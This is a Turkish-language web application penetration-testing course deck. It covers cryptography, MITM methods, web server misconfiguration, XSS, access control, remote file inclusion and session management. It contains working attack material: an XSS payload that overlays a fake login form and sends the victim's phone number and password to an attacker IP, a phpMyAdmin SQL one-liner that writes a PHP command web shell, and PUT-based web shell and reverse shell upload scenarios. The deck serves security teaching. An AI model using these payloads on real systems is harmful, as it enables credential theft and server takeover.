Temel Kriptografi Kavramları
Base64 Kodlama (Encoding)
B T R
ASCII Kodu (Ondalık)
Binary Kodu
6 bit'lik Bölümler
66 84 82
1
49
01000010 01010100 01010010 00110001
010000 100101 010001 010010
Ondalık Karşılığı
001100 010000 000000 000000
16 37 17 18 12 16 0 0
Base64 Kodu Q l R S M Q = =
PADDING
HTTP(S)
Temel Kriptografi Kavramları
Simetrik Kriptolama
HTTP(S)
Temel Kriptografi Kavramları
Asimetrik Kriptolama (Gizlilik servisi için)
HTTP(S)
Temel Kriptografi Kavramları
Asimetrik Kriptolama (İnkar Edilemezlik servisi için)
HTTP(S)
Temel Kriptografi Kavramları
Hashing
Hashing
Algoritma
Açık Metin
(Plaintext)
Hash (Özet)
Değeri
X Geri Döndürülemez
HTTP(S)
Temel Kriptografi Kavramları
Hibrit kriptolama (ör: SSL)
Private key
of receiver
HTTP(S)
SSL içinde HTTP (Stunnel ile SSL tüneli kurmak)
HTTP(S)
SSL içinde HTTP (Stunnel ile SSL tüneli kurmak)
HTTP(S)
HTTPS erişiminde araya girme (MITM)
BİREYSEL EGZERSİZ
• Kullandığınız tarayıcının proxy ayarını trafiğin Burp
Suite'ten geçeceği şekilde ayarlayınız.
• HTTPS üzerinden erişilen bir web sitesine erişmek
istediğinizde neler olduğunu gözlemleyiniz.
HTTP(S)
Temel PKI Kavramları
• Asimetrik Kriptolama
• Hashing
• Elektronik İmza
• Sertifika Otoritesi (CA)
• Sertifika
HTTP(S)
Tarayıcı sertifika kontrolleri
• Trusted bir sertifika otoritesi tarafından imzalanması
• Sertifika içinde geçen alan adı ile erişmek istediğimiz
alan adının tutarlı olması
• Sertifika geçerlilik süresi içinde bulunmamız
HTTP(S)
HTTPS erişiminde araya girme (MITM)
SINIF TARTIŞMASI
• Eğer Burp Suite ile araya girerken tarayıcımızın bizi
her seferinde uyarmasını istemezsek ne yapabiliriz?
HTTP(S)
Wireshark ile SSL trafiğinin çözülmesi
Man In the Middle (MITM) Yöntemleri
MITM Tekniklerine Örnekler:
• ARP Poisoning: Layer 2'de iletişimin kendi üzerimizden geçmesi için
gateway ve hedef bilgisayarın ARP cache'lerini zehirleme yöntemi
• DNS Spoofing: DNS sunucusundan daha önce bir yanıt üreterek kurbanı
kendi bilgisayarımıza yönlendirme yöntemi
• DNS Cache Poisoning / DNS Hacking (Pharming): Kurban(lar) için
recursive DNS istekleri yapan DNS sunucusu bir istekte bulunduğunda
sorgu yapılan DNS sunucusundan daha önce yanıt göndererek DNS
sunucusunun cache'ini zehirleme yöntemi
• ICMP Redirect: Default gateway'den geliyormuş gibi bir ICMP redirect
paketi spoof ederek kurbanı iletişimi kendi bilgisayarımız üzerinden
gerçekleştirmeye yönlendirme yöntemi
• DHCP Spoofing: DHCP isteklerine gerçek DHCP sunucusundan önce yanıt
vererek default gateway ayarını kendi bilgisayarımız olacak şekilde
kurbanı yönlendirme yöntemi
İstemci Katmanı Güvenlik Yaklaşımları
Same Origin Policy
• Tarayıcılar tarafından belli bir orijinden gelen JavaScript
kodlarının kendi orijinleri dışındaki bir sunucudan veri
almalarını engeller.
• Önemli: Same Origin Policy farklı orijinlerdeki sunuculara
istek yapılmasını, yani veri gönderilmesini engellemez,
sadece yapılan isteklerin yanıtlarının işlenmesine izin
vermez.
• Same Origin Policy ayrıca açık olan diğer pencerelerdeki farklı
domain'lerden gelen verilere erişimi de engeller.
• Orijin kavramı protokol, tam sunucu adı ve port bilgilerini
içerir.
İstemci Katmanı Güvenlik Yaklaşımları
Same Origin Policy
• Örnek: http://www.btrisk.com/dir/sayfa.html sayfasında bir script için
aşağıdaki senaryolarda uygulanan kurallar
URL Sonuç Sebebi
http://www.btrisk.com/dir/sayfa2.html Başarılı Aynı protokol, sunucu ve port
http://www.btrisk.com/dir2/diger.html Başarılı Aynı protokol, sunucu ve port
http://kullaniciadi:parola@www.btrisk.c
om/dir2/diger.html
Başarılı Aynı protokol, sunucu ve port
http://www.btrisk.com:81/dir/diger.html Başarısız Aynı protokol ve sunucu, ancak farklı port
https://www.btrisk.com/dir/diger.html Başarısız Farklı protokol
http://en.btrisk.com/dir/diger.html Başarısız Farklı sunucu
http://btrisk.com/dir/diger.html Başarısız Farklı sunucu (tam eşleşme gerekli)
http://v2.www.btrisk.com/dir/diger.html Başarısız Farklı sunucu (tam eşleşme gerekli)
http://www.btrisk.com:80/dir/diger.html
Tarayıcıya
Bağlı
Port açıkça yazılmış. Karar tarayıcıya göre
değişir.
İstemci Katmanı Güvenlik Yaklaşımları
Cross Domain Policy
• Bazı durumlarda web sunucusunun sahibi diğer domain'lerde
barındırılan Flash ve Silverlight kodlarının sunucu üzerindeki
verilere erişmesine izin vermek isteyebilir.
• Bu durumda sitenin root dizinine eklenecek bir
crossdomain.xml dosyası ile farklı domainler için erişim izni
verilebilir.
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
Web Sunucu Güvenliği
Temel web sunucu açıklıkları:
• Desteklenen gereksiz HTTP metodları
• Dizin listeleme imkanı
• HTTP başlıkları içinde sunucu ve versiyon bilgilerinin
sızması
• Oturum çerezleri için web sunucu imkanları
kullanılıyorsa (ki bu önerilen yöntemdir) HttpOnly ve
secure özelliklerinin işaretlenmemesi
• Öntanımlı zaman aşım süresinin uzun tutulması
• İstek boyutlarının kısıtlanmaması
Web Sunucu Güvenliği
Temel web sunucu açıklıkları:
• Kullanılan teknolojiye özel kontrol imkanlarından
faydalanılmaması
• Kullanılmayan uzantılar için desteğin
kaldırılmaması
• XSS engelleme özelliğinin kullanılmaması
• Hata mesajları özelleştirilmesinin kullanılmaması
• Temel işletim sistemi (OS) sıkılaştırma kontrollerinin
uygulanmamış olması
Web Sunucu Güvenliği
Daha detaylı bilgi için:
• http://blog.btrisk.com/2014/05/Apache-guvenlik-
yapilandirmasi-apache-hardening-tip.html
• http://blog.btrisk.com/2014/08/Asp.Net-ve-IIS-
Konfigurasyonlari.html
Web Sunucu Katmanındaki Açıklıklar
• Tehlikeli metodların üretim (production)
ortamlarında aktif olması
• Üretim (production) ortamlarında dizin listelemenin
aktif olması
• Web / Uygulama sunucularında tespit edilmiş olan
sunucuya özel açıklıklar (ör: .NET padding açıklığı,
NTLM authentication'ın açık olması, v.b.)
Web Sunucu Katmanındaki Açıklıklar
SINIF TARTIŞMASI
• Aşağıdaki metodların aktif olması hangi riskleri
doğurabilir?
• PUT
• DELETE
• CONNECT
Web Sunucu Katmanına Yönelik Saldırılar
Apache üzerinde WebDAV extension'larını (WAMP
ortamında) aktif hale getirmek için:
#LoadModule dav_module modules/mod_dav.so
#LoadModule dav_fs_module modules/mod_dav_fs.so
DavLockDB "C:/wamp/tmp/DavLock"
<Directory "c:/wamp/www/"> içinde
Dav On
httpd.conf
dosyası
içinde
Comment'i
kaldır
Ekle
Ekle
Web Sunucu Katmanına Yönelik Saldırılar
PUT metodu saldırı senaryosu
3
1 PUT /webshell.php HTTP/1.1
Web shell erişimi
2 GET /webshell.php HTTP/1.1
1
Web Sunucu Katmanına Yönelik Saldırılar
PUT metodu saldırı senaryosu 2
3
1 PUT /tcphell.php HTTP/1.1
Reverse TCP
shell erişimi
2 GET /tcpshell.php HTTP/1.1
TCP 4444
TCP 80
Web Sunucu Katmanına Yönelik Saldırılar
PUT metodu saldırı senaryosu 2
1
2 PUT /tcphell.php HTTP/1.1
3
4
GET /tcpshell.php HTTP/1.1
5
Web Sunucu Katmanına Yönelik Saldırılar
CONNECT metodu saldırı senaryosu
CONNECT 192.168.1.5:22 HTTP/1.1
TCP 22
X
192.168.1.585.100.85.100
TCP 80 TCP 22
Web Sunucu Katmanındaki Açıklıklar
Dizin listeleme
Web Sunucu Katmanındaki Açıklıklar
Dizin listeleme
Options Indexes FollowSymLinks
<IfModule dir_module>
DirectoryIndex index.php index.php3 index.html
</IfModule>
httpd.conf
dosyası
içinde
Dizin listeleme için
gerekli direktif
Bu dosyalardan
herhangi birisi dizin içinde
olmazsa dizin listeleme
gerçekleşir
Web Sunucu Katmanındaki Açıklıklar
Diğer örnek web sunucu açıklıkları
Açıklık Etkisi
Apache httpOnly cookie sızma
açıklığı
Söz konusu açıklık farklı saldırı yöntemleri ile bir arada kullanıldığında (ör:
XSS) httpOnly cookie'lerin sızması ile sonuçlanabilir.
IIS WebDAV Hizmet Kesinti
Açıklığı - MS01-016
WebDAV uzantısı aktif IIS 5.0 sunucusu özel olarak hazırlanmış PROPFIND
istekleri ile hizmet kesintisine uğratılabilmektedir. Hizmet kesintisi
saldırganın özel hazırladığı paketleri gönderdiği süre boyunca geçerlidir.
.NET Framework bilgi sızdırma
açıklığı
Söz konusu açıklık sayesinde sunucu tarafından kriptolanan hassas
bilgilerin çözülmesi ve ASP.NET uygulaması içinde bulunan herhangi bir
dosyanın (ör: web.config dosyası) okunabilmesi mümkün olacaktır.
Web sunucu hatalarının ele
alınmaması
Bazı sunucular için web sunucu tarafından kullanıcıya görüntülenen
öntanımlı teknik hata mesajları saldırganların işini kolaylaştırıcı bilgiler (ör:
web sunucu versiyonu, veritabanı hataları ile tablo yapıları ve verileri, kod
parçaları, v.b.) sızdırabilir
Web sunucu ASP kod sızdırma
açıklığı
ASP kaynak kodları kullanıcı adı, parola ve diğer bilgilerden oluşan hassas
bilgiler içerebilir. Söz konusu açıklıklar kullanılarak uygulama kaynak
kodları ve içeriklerindeki hassas bilgilere yetkisiz erişim gerçekleştirilebilir.
Web Sunucusu
Tarayıcı (Browser)
Web Sunucusu
Uygulama Sunucusu
Veritabanı
Sunucusu
XML Veri Deposu / Konfigürasyon Dosyaları
Web Servisi
Soket Servisi
Diğer Sunucular
Oturum
Yönetimi
Erişim
Yönetimi
Girdi
Kontrolü
Hata Ele
Alma
Sunucu
Yönetimi
WEB UYGULAMA MİMARİSİ
Sunucu
Taraflı
Kontroller
Parametre Akışı
HTML
HTTP
PHP JAVA
C# RUBY
HACKING'İN ALTIN KURALI #1
BİR UYGULAMAYA ANCAK
GİRDİ NOKTALARINDAN
SALDIRABİLİRSİNİZ
Web Uygulamaları Girdi Noktaları
URI Parametreleri
POST Parametreleri
HTTP Başlıkları
Veritabanı
Yanıtları
Diğer Web
Uygulamaları,
Web Servisleri
Sunucu
Çevresel
Değişkenleri
Sunucu Üzerindeki
Dosyalar
(XML, config, v.b.)
Web Uygulamaları Girdi Noktaları
GİRDİ NOKTASI
KONTROL
EDİLEBİLİRLİK
AÇIKLAMA
HTTP İstekleri (URI,
POST parametreleri, HTTP
başlıkları)
Uzaktan
Veritabanı Yanıtları Kısmen Uzaktan
Kullanıcının neden olduğu
kayıtlar uzaktan saldırı
vektörü olarak kullanılabilir
Diğer Web
Uygulamaları, Web
Servisleri
Diğer Uygulama Sahipleri
veya Kullanıcıları
Tarafından
Diğer alan adlarından
alınan kodlar da bu sınıfta
değerlendirilebilir
Sunucu Üzerindeki
Dosyalar
Lokal Olarak, Çok Seyrek
Olarak Uzaktan
Sunucu Çevresel
Değişkenleri
Lokal Olarak
Web Uygulamaları Girdi Noktaları
URI Parametreleri
HTTP
Başlıkları
POST Parametreleri
Web Uygulamaları Girdi Noktaları
Sıkça Karşılaşacağınız POST Encoding Türleri
Content-Type: application/x-www-form-urlencoded
• Öntanımlı form verisi encoding formatıdır.
POST /User/Update?0.5469181543563653 HTTP/1.1
Host: www.abc.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.abc.com/Main
Content-Length: 90
Cookie: ASP.NET_SessionId=oibe1hl3eh1yxrh3lljuqcdi
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Adres=Istanbul&Egitim=Lisans&Meslek=Hacker
Web Uygulamaları Girdi Noktaları
Sıkça Karşılaşacağınız POST Encoding Türleri
Content-Type: text/xml
• Web servis isteklerinde karşılaşılır. AJAX, mobil uygulama veya thick
client uygulama isteklerinde gözlenebilir.
POST /Services/WebService.asmx HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: "http://tempuri.org/GetDetail"
Content-Length: 296
Host: www.abc.com
Proxy-Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<tem:GetDetail>
<tem:itemID>100</tem:itemID>
</tem:GetDetail>
</soapenv:Body>
</soapenv:Envelope>
Web Uygulamaları Girdi Noktaları
Sıkça Karşılaşacağınız POST Encoding Türleri
Content-Type: multipart/form-data
• Form yüklenecek bir dosya içeriyorsa FORM tag'inin "enctype"
özelliğinde belirtilerek form verisi içinde dosya yüklemek için kullanılır.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8"/>
<title>upload</title>
</head>
<body>
<form action="http://www.btrisk.com" method="post" enctype="multipart/form-data">
<p><input type="text" name="text1" value="test">
<p><input type="file" name="file1">
<p><button type="submit">Submit</button>
</form>
</body>
</html>
Web Uygulamaları Girdi Noktaları
Sıkça Karşılaşacağınız POST Encoding Türleri
Content-Type: multipart/form-data
• Form yüklenecek bir dosya içeriyorsa FORM tag'inin "enctype"
özelliğinde belirtilerek form verisi içinde dosya yüklemek için kullanılır.
POST http://www.btrisk.com/ HTTP/1.1
Host: www.btrisk.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------115553026227194
Content-Length: 11848
-----------------------------115553026227194
Content-Disposition: form-data; name="text1"
test
-----------------------------115553026227194
Content-Disposition: form-data; name="file1"; filename="EÄŸitim Takvimi.xlsx"
Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
PK
Web Uygulamaları Girdi Noktaları
Sıkça Karşılaşacağınız POST Encoding Türleri
Content-type: application/json
• Genellikle AJAX istekleri ve yanıtlarında görülür, ancak mobil ve thick
client uygulamalarında da rastlanır. JSON formatı hafif (lightweight)
olması dolayısıyla web servis yanıtlarında da tercih edilmektedir.
POST /api/AnalyticsData/Integration HTTP/1.1
Accept: application/json
Content-type: application/json
User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; google_sdk Build/KK) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0
Chrome/30.0.0.0 Mobile Safari/537.36
Content-Length: 316
Host: www.abc.com
Connection: Keep-Alive
{"phone":"905554445566","customerId":"847364655","osVersion":"4.3.2","accessToken":"a181c0df47ce492db087f247a37650
46","timeValue":"1403363400055","email":"user@gmail.com","appVersion":"1.0.3","customParams":"","name":"MEHMET","s
urname":"KAYHAN","deviceId":"1b0ccd48f4ecefdgd","osName":"Android","sdkVersion":"4.1.0"}>
Web Uygulamaları Girdi Noktaları
Sıkça Karşılaşacağınız POST Encoding Türleri
JSON (JavaScript Object Notation)
• JSON formatı JavaScript Object Notation'ın bir alt kümesi olup JavaScript
kodları içinde nesne erişimi için kullanılan bir native veri formatıdır.
• AJAX isteklerine dönen yanıtlarda sıklıkla kullanılmasının temel nedeni
budur.
• Ayrıca XML formatına nazaran kullanılan whitespace veri miktarını
azalttığı için iletilen veri büyüklüğünün azaltılmasında da fayda sağlar.
AJAX
AJAX Nedir?
AJAX = Asynchronous JavaScript and XML.
AJAX'ı anlamak için aşağıdaki konularda temel bilgi
sahibi olmak gereklidir:
• HTML / XHTML
• CSS
• JavaScript / DOM
AJAX
AJAX Nasıl Çalışır?
Bir olay oluştuğunda...
• XMLHttpRequest
nesnesi oluştur
• HTTP isteği gönder
• Dönen veriyi
JavaScript ile işle
• Sayfa içeriğini
güncelle
• HTTP isteğini işle
• Bir yanıt oluştur ve
tarayıcıya gönder
TARAYICI SUNUCU
Örneğin bir tuşa basıldığında
Örneğin basılan tuşla başlayan illeri listele
AJAX
Örnek Kod
POST /api/AnalyticsData/Integration HTTP/1.1
Accept: application/json
Content-type: application/json
User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; google_sdk Build/KK) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0
Chrome/30.0.0.0 Mobile Safari/537.36
Content-Length: 316
Host: www.abc.com
Connection: Keep-Alive
{"phone":"905554445566","customerId":"847364655","osVersion":"4.3.2","accessToken":"a181c0df47ce492db087f247a37650
46","timeValue":"1403363400055","email":"user@gmail.com","appVersion":"1.0.3","customParams":"","name":"MEHMET","s
urname":"KAYHAN","deviceId":"1b0ccd48f4ecefdgd","osName":"Android","sdkVersion":"4.1.0"}>
Web Uygulamaları Girdi Noktaları
Verilere Erişim
Veri Erişimi Değişkenleri
$_REQUEST
$_GET
$_POST
$_COOKIE
$_SERVER
$_ENV
URI Parametreleri
POST Parametreleri
Cookie Değerleri
HTTP Başlıkları
Çevresel Değişkenler
Web Uygulamaları Girdi Noktaları
Verilere Erişim
Örnek
<?php
if(isset($_REQUEST['kullaniciAdi'])){
echo 'Hoşgeldin '.$_REQUEST['kullaniciAdi'];
} else {
echo 'Kullanıcı Adını Giriniz...';
}
?>
XSS Açıklıkları
XSS Nedir?
• Cross Site Scripting'in kısaltmasıdır. CSS "Cascaded Style
Sheets" ifadesinin kısaltması olarak kullanıldığından XSS
kullanılmıştır.
• Tarayıcı üzerinde gelen HTML sayfasının içeriğinde bulunan
Javascript (v.d.) script kodlarının çalıştığını görmüştük.
• Eğer web uygulaması (örneğin bir php kodu) istemciden gelen
bir girdiyi (ör: URI parametresi, POST parametresi, JSON,
SOAP v.d. formatlardaki girdiler, cookie değeri, diğer HTTP
başlık değerleri) bir girdi kontrolünden geçirmeden ve özel
HTML karakterlerini encode etmeden kullanıcıya geri
gönderirse ve bu girdi bir script içeriyorsa XSS gerçekleşir.
XSS Açıklıkları
Yansıtılan (Reflected) XSS Açıklıkları
7
1
2 Saldırgan özel URL'i kullanıcıya gönderir
3
4
Kullanıcının tarayıcısı oturum parametresini
saldırgana gönderir
6
Script
kullanıcının
tarayıcısında
çalışır
5
KULLANICI SALDIRGAN
UYGULAMA
XSS Açıklıkları
Yansıtılan (Reflected) XSS Açıklıkları
function bilgiGonder() {
var xmlhttp;
xmlhttp = new XMLHttpRequest();
var url;
url = "http://192.168.2.4/hack.php?gsm=" + document.getElementById('txt_gsm').value + "&password=" + document.getElementById('txt_password').value;
xmlhttp.open("GET", url, true);
xmlhttp.send();
return true;
}
var hack_token=document.getElementsByName("txt_token")[0].value;
var hack_html='<style>body{visibility:hidden;}</style><div style=visibility:visible; >
<form class="form-login" method="post" action="login.php" onsubmit="bilgiGonder();">
<h2 class="form-login-heading">XSS Login</h2></br>
<input name="txt_gsm" id="txt_gsm" type="text" class="form-control" placeholder="5XXXXXXXXX" autofocus></br>
<input name="txt_password" id="txt_password" type="password" class="form-control" placeholder="Parola"></br>
<input type="hidden" name="txt_token" value="'+hack_token+'">
<input type="submit" class="btn btn-block btn-theme" style="background-color: #48bcb4;" value="Giriş"></br>
</form>
</div>';
document.body.innerHTML=hack_html;
XSS PAYLOAD
XSS Açıklıkları
Yansıtılan (Reflected) XSS Açıklıkları
Normal Login
XSS Açıklıkları
Yansıtılan (Reflected) XSS Açıklıkları
XSS Login
Access log
kaydı
XSS Açıklıkları
SINIF TARTIŞMASI
• XSS saldırısı sadece URL parametrelerine yönelik mi
gerçekleştirilebilir (POST parametresi üzerinden XSS
yapılabilir mi)?
XSS Açıklıkları
Saklanan (Stored) XSS Açıklıkları
7
1
3
4
Kullanıcının tarayıcısı oturum parametresini
saldırgana gönderir
6
Script
kullanıcının
tarayıcısında
çalışır
5
KULLANICI SALDIRGAN
UYGULAMA
1
XSS Açıklıkları
Saklanan (Stored) XSS Açıklıkları
Talep ekranında
XSS payload'un
girilmesi
XSS Açıklıkları
Saklanan (Stored) XSS Açıklıkları
Veritabanına
kaydedilen
talebin
görüntülenmesi
XSS Açıklıkları
Document Object Model (DOM) Tabanlı XSS Açıklıkları
7
1
2 Saldırgan özel URL'i kullanıcıya gönderir
3
4
Kullanıcının tarayıcısı oturum parametresini
saldırgana gönderir
6
URL içinde
geçen script
kodu DOM
kullanan
Javascript ile
HTML'e katılır
5
KULLANICI SALDIRGAN
UYGULAMA
Yansıtılan XSS'ten farkı;
URL içinde geçen script
kodunun sunucu uygulaması
tarafından değil, sunucunun
ürettiği HTML sayfasının
içinde zaten var olan
Javascript kodu tarafından
dinamik olarak HTML'e dahil
edilmesidir.
XSS Açıklıkları
Document Object Model (DOM) Tabanlı XSS Açıklıkları
Adresler
tanımlama
sayfası
XSS Açıklıkları
Document Object Model (DOM) Tabanlı XSS Açıklıkları
Adres
güncelleme
fonksiyonu
XSS Açıklıkları
Document Object Model (DOM) Tabanlı XSS Açıklıkları
Normal
kullanım
XSS Açıklıkları
Document Object Model (DOM) Tabanlı XSS Açıklıkları
DOM tabanlı
XSS'in gerçekleştiği
Javascript bölümü
XSS Açıklıkları
Document Object Model (DOM) Tabanlı XSS Açıklıkları
XSS
payload'u
XSS Açıklıkları
Document Object Model (DOM) Tabanlı XSS Açıklıkları
DOM tabanlı
XSS
Erişim Kontrol Açıklıkları
Dikey Erişim İhlali
Standart kullanıcı
olarak uygulamaya
erişiyoruz
Erişim Kontrol Açıklıkları
Dikey Erişim İhlali
Normalde admin
kullanıcı profili
ile erişilen URL'i kullandığımızda
fonksiyona erişebiliyoruz
Erişim Kontrol Açıklıkları
Dikey Erişim İhlali
Admin kullanıcı
profiliyle uygulamaya
erişim
Erişim Kontrol Açıklıkları
Yatay Erişim İhlali
Fatura detay
görüntüleme
linki
Erişim Kontrol Açıklıkları
Yatay Erişim İhlali
Faturanın
sistem üzerindeki
numarası
Bu müşteriye
ait telefon
numarası
Erişim Kontrol Açıklıkları
Yatay Erişim İhlali
Fatura görüntüleme
HTTP isteği
Erişim Kontrol Açıklıkları
Yatay Erişim İhlali
Fatura numarasını
değiştirerek farklı
müşterinin fatura detayını
görebiliyoruz
Erişim Kontrol Açıklıkları
Yatay Erişim İhlali
Fatura numarasını
değiştirerek farklı
müşterinin fatura detayını
görebiliyoruz
Erişim Kontrol Açıklıkları
Yatay Erişim İhlali
Fatura numaraları
ve hangi hatlara ait
oldukları bilgisi
Erişim Kontrol Açıklıkları
Geçerli Kullanıcı Belirleme
GEÇERLİ kullanıcı
kodu, hatalı parola
Erişim Kontrol Açıklıkları
Geçerli Kullanıcı Belirleme
Geçerli kullanıcı
kodu, hatalı parola'ya
dönen yanıt
Erişim Kontrol Açıklıkları
Geçerli Kullanıcı Belirleme
GEÇERSİZ kullanıcı
kodu, hatalı parola
Erişim Kontrol Açıklıkları
Geçerli Kullanıcı Belirleme
Geçersiz kullanıcı
kodu, hatalı parola'ya
dönen yanıt
GÖRÜNÜR BİR FARK
YOK !
Erişim Kontrol Açıklıkları
Geçerli Kullanıcı Belirleme Ancak dönen
yanıtlar arasında
6 byte'lık
bir fark var
Erişim Kontrol Açıklıkları
Geçerli Kullanıcı Belirleme
Aradaki fark HTML
encode edilmiş bir boşluk
karakterinden kaynaklanıyor
"&nbsp;"
Erişim Kontrol Açıklıkları
Diğer Erişim Kontrol Açıklıklarına Örnekler:
• Parola politikası uygulanmaması ve kaba kuvvet saldırıları
• Hatalı uygulanan CAPTCHA kontrolü, CAPTCHA imajının robot
aracılığı ile okunabilmesi
• Referer başlığına güvenen erişim kontrolü
• Parola alanlarında "autocomplete=off" özelliğinin
kullanılmaması
• Tek kullanımlık parola geçerlilik süresinin sınırlandırılmaması
Direct Object Access
PDF, ofis dokümanı, resim dosyaları gibi statik içerik web sunucu
dizinlerinde barındırılırsa bu verilere erişim kontrolü
uygulanamayabilir. Bazı platformlar (ASP.NET veya Java
framework'leri gibi) tanılanmamış kullanıcıların uygulama
dizinleri altındaki herhangi bir dosyaya erişmesine izin
vermemektedir.
Erişim kontrolü uygulansa bile kontrol sadece tanılanmış ve
tanılanmamış kullanıcılar arasında uygulanabilir, dolayısıyla
tanılanmış kullanıcılar yine tüm içeriğe erişebilir.
Direct Object Access
Direct Object Access
1.jpg
2.jpg
3.jpg
2. ve 3.
isteklerde
oturum
cookie'si
kullanılmaması
na rağmen
içeriğe
erişilebilmiştir.
İstemci Taraflı Kontrollerin Aşılması
SINIF TARTIŞMASI
• İstemci tarafında uygulanan kontrolleri nasıl
uygulayabiliriz?
• Bu kontroller hangi koşullarda geçersiz kalabilir?
İstemci Taraflı Kontrollerin Aşılması
Uygulamamız TL transfer
fonksiyonunda tutarın negatif
olmamasını kontrol ediyor
İstemci Taraflı Kontrollerin Aşılması
Bu kontrolün Javascript kodu ile
yapıldığı anlaşılıyor
İstemci Taraflı Kontrollerin Aşılması
Kontrolü yapan Javascript
kontrolünü dönen yanıttan
temizliyoruz
Böylece istemci tarafındaki
kontrol etkisiz kalacak
İstemci Taraflı Kontrollerin Aşılması
Javascript kontrolünü ortadan
kaldırdıktan sonra tutarı -50 TL
olarak gönderiyoruz
Tahmin edebileceğiniz gibi
önyüzde geçerli bir rakam girip
attack proxy'de de bu değişikliği
yapabilirdik
Şimdi sunucu tarafında da aynı
kontrolün uygulanıp
uygulanmadığını görelim
İstemci Taraflı Kontrollerin Aşılması
İşlemimiz başarı ile gerçekleşti ve
biz negatif bir para transferi ile
bakiyemizi artırdık
Remote File Inclusion
Çok sık gözlenmemekle birlikte
web uygulamalarının parametre
olarak aldıkları dosya isimlerini
çalışma anında HTML içeriğine
dahil ettikleri görülebilir
Buradaki örnekte uygulama bir
dosya adını parametre olarak
alıyor gibi görünüyor
Bu adın kök dizinden itibaren
tanımlanmış olması uzak dosya
dahil etme ihtimalini artırıyor
Remote File Inclusion
Sayfa kaynak kodunu
incelediğimizde bu parametrede
belirtilen dosyanın HTML kodu
içine dahil edildiğini görüyoruz
Remote File Inclusion
Bu parametreye kendi kontrol
ettiğimiz bir sitede bulunan ve
sayfanın cookie'lerini çalarak
istediğimiz IP adresine gönderen
bir Javascript kodunun adresini
yazıyoruz
Remote File Inclusion
Cookie çalan Javascript kodumuz
Remote File Inclusion
Kontrol ettiğimiz web sitesine
gelen cookie bilgileri
Uygulama Sunucusu Yönetim Açıklıkları
TOMCAT Application Manager
Uygulama Sunucusu Yönetim Açıklıkları
TOMCAT Application Manager
Uygulama Sunucusu Yönetim Açıklıkları
TOMCAT Application Manager
Uygulama Sunucusu Yönetim Açıklıkları
TOMCAT Application Manager
Uygulama Sunucusu Yönetim Açıklıkları
TOMCAT Application Manager
Uygulama Sunucusu Yönetim Açıklıkları
TOMCAT Application Manager
Uygulama Sunucusu Yönetim Açıklıkları
phpMyAdmin
SELECT "<?php System($_REQUEST['cmd']); ?>" INTO OUTFILE "C:wampwwwcmd.php"
Uygulama Sunucusu Yönetim Açıklıkları
Uygulama Sunucusu Yönetim Açıklıkları
Uygulama Sunucusu Yönetim Açıklıkları
Uygulama Sunucusu Yönetim Açıklıkları
FTP
Servisi
Uygulama Sunucusu Yönetim Açıklıkları
Uygulama Sunucusu Yönetim Açıklıkları
JBOSS JMX Console
Uygulama Sunucusu Yönetim Açıklıkları
JBOSS JMX Console
Oturum Yönetim Açıklıkları
Oturum Yönetimi
• HTTP'nin connectionless bir protokol olması
• Kullanıcı tanılama fazlarında oturum parametresinin
değişmesi
• Oturum parametresinin rassallığı ve anahtar genişliği
• Oturum geçerlilik süre sınırı (istemci ve sunucu tarafında)
• Güvenli çıkış fonksiyonalitesi
Oturum Yönetim Açıklıkları
Oturum Parametresi'nin Tanılama Fazlarında Değişimi
Anonim Faz
PHPSESSID
Login Fazı
BTRmCookie
OTP Fazı
1
2
3
Oturum Yönetim Açıklıkları
Hangi Parametre Oturum Parametresi
Oturum Yönetim Açıklıkları
Hangi Parametre Oturum Parametresi
Oturum Yönetim Açıklıkları
Hangi Parametre Oturum Parametresi
PHPSESSID cookie'sini çıkardığımızda
uygulama bizi login sayfasına yönlendirdi.
SINIF TARTIŞMASI
• Oturum parametresinin oturum fazlarında
değişmemesi nasıl bir risk doğurur?
Oturum Yönetim Açıklıkları
SESSION FIXATION
Oturum Yönetim Açıklıkları
Oturum Parametresinin Rassallığı
Oturum parametresi olan
PHPSESSID cookie'sinin
atandığı istekler
Oturum Yönetim Açıklıkları
Oturum Parametresinin Rassallığı
Sequencer modülü otomatik
olarak rassallık testi
yapılabilecek cookie ve
parametreleri tanıyabilir,
veya biz istediğimiz özel alanı
Burp'e tanıtabiliriz.
Oturum Yönetim Açıklıkları
Oturum Parametresinin Rassallığı
Sequencer modülü
cookie'mizin rassallık
değerini çok düşük buldu.
cookie değer
örneklerimiz
Oturum Yönetim Açıklıkları
Oturum Parametresinin Analizi
cookie değerimiz Base64
kodlanmışa benziyor
Oturum Yönetim Açıklıkları
Oturum Parametresinin Analizi
cookie değerimiz Base64
kodlanmışa benziyor
Oturum Yönetim Açıklıkları
Oturum Parametresinin Analizi
Ardışık cookie değerlerimizi
Base64 decode ettiğimizde
ardışık artan ondalık sayılar
olduğunu görüyoruz.
SINIF TARTIŞMASI
• Sunucu oturum süre sınırını nasıl test edebiliriz?
Oturum Yönetim Açıklıkları
Oturum Yönetim Açıklıkları
Güvenli Çıkış Fonksiyonu
Oturum Yönetim Açıklıkları
Güvenli Çıkış Güvenli mi?
Güvenli Çıkış isteği
Oturum Yönetim Açıklıkları
Güvenli Çıkış Güvenli mi?
Güvenli Çıkış yanıtı
Oturum Yönetim Açıklıkları
Güvenli Çıkış Güvenli mi?
